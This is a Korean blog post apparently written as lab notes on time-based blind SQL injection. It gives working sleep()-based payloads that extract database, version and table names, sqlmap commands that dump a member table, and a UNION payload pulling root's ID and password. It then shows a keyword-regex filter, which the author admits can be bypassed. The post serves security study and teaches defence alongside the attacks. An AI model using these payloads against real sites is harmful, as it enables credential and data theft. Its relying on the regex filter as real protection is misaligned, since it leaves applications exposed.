kjh00n의 기록저장소

Time Based SQL Injection 본문

어플리케이션 보안 운영

Time Based SQL Injection

kjh00n 2025. 1. 10. 12:19

Time Based SQL Injection

● 페이지의 결과로 공격의 참과 거짓을 알 수 없는 경우에 사용되는 기법

● 대입 값에 대한 참 또는 거짓의 결과를 응답의 전송 시간을 이용하여 판단함

● 쿼리문의 참/거짓에 따라 응답 시간을 다르게 하여 참/거짓을 판별

  • sleep(), benchmark() 등의 함수가 이용

● Sleep 함수를 이용하여 참/거짓에 따라 출력하는 시간을 조정

 and 연산자의 특징을 이용 → short cut

  • 조건 and 조건 (앞의 조건이 거짓이면 뒤의 조건은 실행조차 안함. 이미 결과는 거짓으로 결정됨)
  • 1 and sleep(3); → 1은 참이기에 sleep함수도 실행
  • 0 and sleep(3); → 0은 거짓이기에 sleep함수는 실행안함
  • sleep함수가 실행되면 앞의 조건이 참이고 실행되지 않으면 앞의 조건은 거짓이라는 의미이다.

Sleep 함수

● 조건의 참인 SQL Query의 응답시간을 지연시키는 함수

● 출력하는 행 1개씩 설정한 시간에 맞게 출력된다(3초 설정으로 행 10개를 찾는다면 30초가 걸린다)

● sleep(초)

  • 참 = 지정된 시간만큼 지연시킨 후 결과 반환
  • 거짓 = 즉시 결과 반환

결과가 바로 출력되지 않고 일정 시간 이후에 출력
3초 / 6초


[실습]

[공격]

login.php에서 실행

공격코드인 ' or 1 and sleep(3) #을 입력하면 페이지가 3초이상 로딩이 걸린다

 

[현재 DB의 이름을 알아내기]

[공격코드]
' or ascii(substr(database(),1,1)) >= 97 and sleep(3) # → 거짓
' or ascii(substr(database(),1,1)) >= 65 and sleep(3) # → 거짓

' or ascii(substr(database(),1,1)) >= 97 and sleep(3) # 공격코드 입력
거짓으로 판별되서 결과가 바로 출력됨
' or ascii(substr(database(),1,1)) >= 65 and sleep(3) # 딜레이중
65보다는 크거나 같다는 조건이 참이라는 상태


[현재 DB의 버전을 알아내기]

[공격코드]
' or ascii(substr(version(),1,1)) >= 97 and sleep(3) # → 거짓

' or ascii(substr(version(),1,1)) >= 97 and sleep(3) # → 거짓으로 결과가 바로 출력


[현재 DB의 Table 이름을 알아내기]

[공격코드]
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest'),1,1)) >= 97 and sleep(3) # → 참

참이기에 시간이 걸리고 결과값 출력


[sqlmap]

sqlmap -u "http://192.168.50.50/board/board_view.php?num=1" -p "num"

sqlmap -u "공격할 url (Injection Vector)" -p "공격코드를 삽입할 매개변수"

sqlmap 실행
sqlmap -u "http://192.168.50.50/board/board_view.php?num=1" -p "num" --dbs 입력하면 DB의 이름을 알아옴
sqlmap -u "http://192.168.50.50/board/board_view.php?num=1" -p "num" -D "WebTest" --tables 입력해서 table 이름 가져옴
sqlmap -u "http://192.168.50.50/board/board_view.php?num=1" -p "num" -T "member" --columns 입력하면 컬럼명 가져옴
sqlmap -u "http://192.168.50.50/board/board_view.php?num=1" -p "num" -T "member" --dump 입력하면 member 테이블의 데이터 출력

위 사진을 보면 CSV 파일이 저장된 경로가 나오는데 이동해서 출력해보면

member테이블의 정보가 저장된 모습이다


[방어]

[magic_quotes_gpc 지시어]

vim /etc/php.ini

맨 마지막 줄에 추가
systemctl restart httpd

[시큐어 코딩]

SQL Injection 방지 (',",\,NULL을 방지해준다)
URL에 -1 union select 1,2,3,4,u_id,u_pw,7,8,9,10,11 from member where u_id='root' # 을 입력했더니 공격이 먹히지 않음 (',",\,NULL을 방지하는 코드를 사용했기 때문)
하지만 ',"이 들어가지 않은 공격을 하면 뚫린다~
방지 코드를 해제한 상태
위 공격코드를 사용하면 공격이 먹히는 모습
SQL Injection 방지 (',",\,NULL을 방지해준다)
URL에 -1 union select 1,2,3,4,u_id,u_pw,7,8,9,10,11 from member where u_id='root' # 을 입력했더니 공격이 먹히지 않음 (',",\,NULL을 방지하는 코드를 사용했기 때문)
하지만 ',"이 들어가지 않은 공격을 하면 뚫린다~

#sql injection 방지
                        if(preg_match("/select|insert|delete|update|union|from|where|order|limit|information_schema|database|version/",$r_num)) {
                            echo "<script>alert('해킹 시도를 감지했습니다.');
                            history.back();
                            </script>";
                            exit();
                        }

URL에 공격코드를 사용해서 해킹을 시도했을 때